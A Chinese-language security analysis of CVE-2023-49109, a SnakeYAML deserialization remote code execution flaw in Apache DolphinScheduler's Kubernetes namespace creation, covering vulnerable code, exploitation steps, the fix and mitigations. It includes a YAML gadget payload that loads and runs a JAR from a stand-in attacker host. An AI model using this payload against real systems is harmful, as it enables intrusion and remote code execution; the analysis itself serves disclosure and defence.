Remote Code Execution in Apache Dolphinscheduler(CVE-2023-49109)
字数 1440 2025-08-23 18:31:18
Apache DolphinScheduler 远程代码执行漏洞分析 (CVE-2023-49109)
漏洞概述
Apache DolphinScheduler 在 3.2.1 之前的版本中存在远程代码执行漏洞。该漏洞源于系统在处理 Kubernetes 命名空间创建请求时,对用户提供的 YAML 内容进行了不安全的反序列化操作,攻击者可通过构造恶意 YAML 内容实现任意代码执行。
影响版本
- 受影响版本:3.0.0 <= version < 3.2.1
- 安全版本:3.2.1 及以上
环境搭建
-
从官网下载源码及二进制运行包:
tar -xvzf apache-dolphinscheduler-*-bin.tar.gz cd apache-dolphinscheduler-*-bin bash ./bin/dolphinscheduler-daemon.sh start standalone-server -
修改 JVM 参数(位于
standalone-server/bin/start.sh) -
默认管理员凭据:
- 用户名:admin
- 密码:dolphinscheduler123
漏洞分析
漏洞入口点
漏洞主要存在于 K8sNamespaceController 控制器中,具体实现类为:
org.apache.dolphinscheduler.api.service.impl.K8SNamespaceServiceImpl#createK8sNamespace
关键代码分析
@Override
public Map<String, Object> createK8sNamespace(User loginUser, String namespace, Long clusterCode,
Double limitsCpu, Integer limitsMemory) {
// 参数校验部分省略...
if (!Constants.K8S_LOCAL_TEST_CLUSTER_CODE.equals(k8sNamespaceObj.getClusterCode())) {
try {
String yamlStr = genDefaultResourceYaml(k8sNamespaceObj);
k8sClientService.upsertNamespaceAndResourceToK8s(k8sNamespaceObj, yamlStr);
} catch (Exception e) {
// 错误处理...
}
}
// 后续操作...
}
漏洞触发流程:
- 系统将用户可控的
k8sNamespaceObj对象转换为 YAML 字符串 - 调用
k8sClientService.upsertNamespaceAndResourceToK8s方法处理该 YAML
反序列化点分析
在 K8sClientService#upsertNamespacedResourceToK8s 方法中:
private ResourceQuota upsertNamespacedResourceToK8s(K8sNamespace k8sNamespace, String yamlStr)
throws RemotingException {
KubernetesClient client = k8sManager.getK8sClient(k8sNamespace.getClusterCode());
ResourceQuota body = yaml.loadAs(yamlStr, ResourceQuota.class); // 漏洞点
// 后续操作...
}
此处使用 SnakeYAML 的 loadAs 方法对用户可控的 YAML 内容进行反序列化,而 SnakeYAML 的反序列化操作存在安全风险。
漏洞利用
利用条件
- 拥有 DolphinScheduler 的有效账号(至少需要管理员权限)
- 目标系统版本在受影响范围内
利用步骤
- 登录 DolphinScheduler 后台
- 进入"安全中心"->"集群管理"->"创建集群",创建任意集群
- 进入"安全中心"->"k8s命名空间管理"->"创建命名空间"
- 选择刚创建的集群
- 在命名空间字段填入恶意 YAML payload
恶意 Payload 示例
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/yaml-payload.jar"]
]]
]
此 payload 会从远程服务器加载恶意 JAR 文件并执行其中的代码。
漏洞修复
官方通过以下方式修复了该漏洞:
- 移除了通过
yaml.loadAs进行反序列化的代码 - 不再接受用户提供的 YAML 内容进行反序列化
修复补丁参考:GitHub Pull Request #14991
防护建议
- 立即升级到 Apache DolphinScheduler 3.2.1 或更高版本
- 如果无法立即升级,可考虑以下临时措施:
- 限制对 DolphinScheduler 管理界面的访问
- 监控系统日志中可疑的命名空间创建操作
- 避免使用管理员账号进行日常操作
- 定期审计系统权限分配
技术总结
该漏洞是一个典型的不安全反序列化问题,其根本原因在于:
- 系统信任了用户提供的输入(通过 k8sNamespaceObj 生成的 YAML)
- 使用了存在安全风险的反序列化方式(SnakeYAML 的 loadAs 方法)
- 缺乏对反序列化内容的严格校验
此类漏洞的防护应遵循"不信任用户输入"原则,对于必须的反序列化操作,应采用白名单机制或使用安全的反序列化方式。